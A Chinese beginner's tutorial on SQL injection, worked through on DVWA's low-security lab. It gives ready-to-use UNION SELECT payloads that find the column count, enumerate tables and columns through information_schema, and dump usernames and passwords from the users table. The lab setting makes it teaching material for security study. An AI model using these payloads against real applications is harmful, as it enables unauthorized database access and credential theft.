1. 程式人生 > >SQL注入思路分析(入門必看)

SQL注入思路分析(入門必看)

一、前言

最近正在學習SQL注入,縱觀各種教程,有稍微講解一下直接po步驟的,有對原理講的很仔細的但步驟不明確的,因此便想做一個教程,將每一步寫清楚,將思路理順,讓SQL注入入門不再困難,建議在閱讀本文之前閱讀本人的《SQL注入入門》系列文章,裡面有一些原理性的講解,對理解本文有幫助

因為主要做的是思路講解,因此這裡採用DVWA的low級別的SQL Injection來做演示,在嘗試進行其他的SQL注入的過程中,並不會太順利,一定會有一些讓你停下來細細思考的點,不斷尋找突破口,最終達到目的,享受在這個過程中的頭腦風暴吧!

二、正文

Step1正常輸入


Step2判斷是否存在SQL注入漏洞

一般來說我們先進行單引號測試


伺服器返回錯誤,顯然並未對單引號作過濾的處理,判斷存在SQL注入漏洞

Step3判斷注入的型別

判斷注入為數字型還是字元型,一般來說我們考慮這種分類方式

嘗試數字型:輸入2-1進行測試


顯然,如果是數字型注入,這裡顯現的結果應該等同於ID=1的情況,據此判斷不是數字型,保守起見,我們繼續判斷是否為字元型注入

(此處資料庫為MySQL資料庫)

嘗試字元型:輸入1' or'1'='2

如果是字元型,顯然會輸入ID=1的結果


結論:存在字元型注入

Step3猜解查詢欄位的個數

我們需要猜測在這裡存在的查詢語句的形式,以便我們的下一步操作

首先我們猜

1' union select 1;-- (

這裡最後有一個空格),也可以用1' union select 1;#


結果如上,因此繼續嘗試

1' unionselect 1,2;#


因此我們可以知道該查詢語句中有兩個欄位

於是我們猜測的SELECT語句是這樣的

SELECT First name,Surname

FROM

WHEREid='$_GET(xxxx)';

Step4嘗試通過SQL注入查詢出使用者名稱與密碼等敏感資訊

1)獲取當前資料庫名

1' unionselect 1,database()#

因為前面我們知道,select語句有兩個欄位,因此需要填寫兩個,1database(),後者是我們想要的


可以發現,資料庫名為

dvwa

2)獲取資料庫表名

1'union select 1,table_name frominformation_schema.tables where table_schema=database()#

這裡解釋一下該語句的意思

table_name,table_shema都是MySQL"conditioninformation item name",簡單而又不恰當的理解就是系統定義的變數,table_name表示表名,table_schema表示資料庫名稱

關於information_schema的用法可以看我的另一個文章,《MySQL資料庫元資料簡要說明

傳送門:http://blog.csdn.net/qq_35544379/article/details/77161490


我們可以看到,資料庫表名有guestbookusers兩個

為了方便展示,我們可以採用sql提供給我們的字串連線函式

GROUP_CONCAT()函式,它返回一個字串結果,該結果由分組中的值連線組合而成。

在我另一個文章裡也有詳細說明http://blog.csdn.net/qq_35544379/article/details/77099115

例如上面我們可以寫成

1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#


這樣一來,我們想要的資料便在一行中展示出來了。

3)獲取表中的列名

在上面,我們知道了該資料庫中存在兩個表guestbook,users

顯然我們想要的使用者名稱和密碼應該會在users中,因此接下來我們想知道,在這個表中,存在哪些列?

我們可以這樣

1' unionselect 1,group_concat(column_name) from information_schema.columns wheretable_name='users'#


結果我們發現了我們想要的夢寐以求的userpassword

4)獲取password資訊

好了,只差臨門一腳了。

經過上面兩次的訓練,我們很簡單可以寫出下面的語句,由於可能結果很多,我們就不使用group_concat()這個函數了,轉而使用concat(),兩者的區別是前者返回一條字串結果(n個結果結合一起的字串),後者將每一條結果分開

1' unionselect 1,concat(user_id,',',user,',',password) from users#


成功獲得我們想要的使用者名稱和密碼!!!!

相關推薦

SQL注入思路分析入門

一、前言 最近正在學習SQL注入,縱觀各種教程,有稍微講解一下直接po步驟的,有對原理講的很仔細的但步驟不明確的,因此便想做一個教程,將每一步寫清楚,將思路理順,讓SQL注入入門不再困難,建議在閱讀本文之前閱讀本人的《SQL注入入門》系列文章,裡面有一些原理性的講解,對理解本文有幫助 因為主要做的是思路講

docker容器詳解入門(一)

本篇文章不會涉及到複雜的名詞,不會涉及到複雜的實現過程,這篇文章的一個基本目的是讓你明白docker是幹嘛的,它這樣做與之前相比有什麼進步,哪些地方有優化。希望能用最簡單的語言讓你明白,這種技術帶來的利弊。 目錄 虛擬化發展 在我們上大學的時候,

Praat 學習日誌1--安裝和建立專案入門

    Praat是一款強大的語音分析軟體。它能夠幫助語音學家分析,綜合和操作講話,可以記錄音訊或者匯入現成的音訊檔案,包括光譜,音調,強度和格式的基本分析,支援通過建立不同的指令碼自動化完成任務。還

考研最全資料結構排序演算法效能分析與比較!!!

資料結構所有排序演算法效能分析與比較 轉載請標明出處weixin_44254963或璇小姐 通過對資料結構的學習,我發現數據結構中各種排序演算法的排序方法,過程,以及時間效能,空間效能都比較容易混淆,現就這些情況做如下總結,希望對大家有所幫助。 起泡排序(氣泡排序) 首先取第一個

最全面詳細講解Oracle入門新手

本章內容: Ø Oracle介紹 Ø 安裝步驟 Ø 基本使用 Ø 使用者管理 一、Oracle資料庫簡介 Oracle資料庫是Oracle(甲骨文)公司的核心產品,適合於大型專案的開發;銀行、電信、電商、金融等各領域都大量使用Oracle資料庫。 Oracle資料庫是一

深入淺出Mybatis系列---SQL執行流程分析源碼篇(轉)

factor demo 讀取配置 gist wrapper load 任性 wrap 深入淺出 轉載自:http://www.cnblogs.com/dongying/p/4142476.html 1. SqlSessionFactory 與 SqlSession.   通

自動化框架重點

自動 gpo soa arc 自動化框架 .html log clas html http://www.cnblogs.com/AlwinXu/p/5836709.html http://www.cnblogs.com/beer/p/5075619.html http://

前端的學習總結前端

中國的IT圈裡有句話叫做“程式設計師吃的是青春飯”,許多IT公司也不願意僱傭大齡程式設計師。因此,在有限的時間快速掌握高階技術變得非常重要。為了幫助新入行的小白快速走向技術人生的巔峰,這裡分享一篇資深前端工作師總結的前端學習經驗。 這裡主要講的是自學,網站開發開發大致分為前端和後端,前端主要負責實現視覺和互動

最新騰訊阿里百度面試指南,必須要掌握這6大知識點跳槽

金九銀十的跳槽熱潮已經過去了,在這兩個月的跳槽的旺季中,作為網際網路行業的三大巨頭,百度、阿里巴巴、騰訊對於網際網路人才有很大的吸引力,他們的員工也是眾多網際網路同行覬覦的資深工程師、管理者人選。 下面我總結了進入這三家公司你所需掌握的技能: 阿里巴巴篇 紮實的計算機專業基礎,包括演算法

OC基礎知識面試

OC基礎知識 一、屬性和關鍵字 ·成員變數與屬性的區別:聲明瞭@property並@synthesize後編譯器會為例項變數生成getter和setter方法,成員變數用來儲存屬性的值 ·修飾屬性的關鍵字: atomic/nonatomic readwrite/readonly

軟體測試經典面試題面試

引用與指標有什麼區別? 1) 引用必須被初始化,指標不必。 2) 引用初始化以後不能被改變,指標可以改變所指的物件。 3) 不存在指向空值的引用,但是存在指向空值的指標。 Internet.採用哪種網路協議?該協議的主要層次結構?Internet.實體地址和IP.地址轉

深入理解HashMap精華

3、hashmap的resize         當hashmap中的元素越來越多的時候,碰撞的機率也就越來越高(因為陣列的長度是固定的),所以為了提高查詢的效率,就要對hashmap的陣列進行擴容,陣列擴容這個操作也會出現在ArrayList中,所以這是一個通用的操作,很多人對它的效能表示過懷疑,不過想想我

java面試題大合集開發者

前言 本文來自百度網路的一篇文章,由於沒有答案,現在整理了一些比較好的回答和好的部落格,可以自己擴充套件思路,如果大家有一下面試題的更好的答案,歡迎在評論區留言。以上全部來自網路!此外,我的微信公眾號將每日分享下面面試題相關的知識點總結乾貨,歡迎關注微信公眾號

nginx 的安裝和gcc gcc-c++配置詳解新手

首先玩linux的話, gcc gcc-c++,fast-cgi,wget,yum 這些包請確保已經安裝好了, #下載nginx openssl,pcre,zlib  wget http://nginx.org/download/nginx-1.12.0.tar.gz&nb

2017—8年阿里JAVA大神,教你如何正確的學習JAVA新手

學習步驟和學習流程圖都有,只要好好的跟著這個步驟學習,年入10W都不是夢。首先:java基礎很重要的,選一本好的java書,好好的學習鑽研,然後還是繼續學了,主要的步驟就是:1:J2SE面向物件-封裝、繼承、多型、記憶體的分析、遞迴、集合類、泛型、自動打包與解包、Annota

決策樹的一般思路分析機器學習實戰

'''決策樹:在構造決策樹時最重要的是確定劃分資料時,哪個特徵起決定性作用為了確定起決定性作用的特徵,必須先計算資訊的增益,獲得資訊增益最高的特徵就是最好的選擇集合資訊的度量方式稱為熵————資訊的期望資訊的定義:若待分類事物存在多個劃分,則符號xi的資訊定義為l(xi)=l

如何開始你的滲透測試之旅新手

                在分享滲透測試之前,簡單給大家介紹一下關於滲透測試培訓的事情,隨著市場對安全的重視,安全在我們的視

ubuntu 14.04下安裝JDK8新手

以下文章是我從學習別人安裝舊版本的jdk過程中總結而來的! 第一步(下載JDK8): 到官網上下載最新版本的JDK8  http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-213315

Sybase基礎知識新手

件的行組成一張新表。 舉例: select publishers.pub_id,publishers.pub_name,authors.* from publishers,authors where publishers.city=authors.city 例12:分組計運算元句 Compute是Sybase

neo4j資料庫中資料模型的理解入門

GoalsThis guide is designed to walk you through the graph data modeling lifecycle of Neo4j. You will be introduced to the basic process of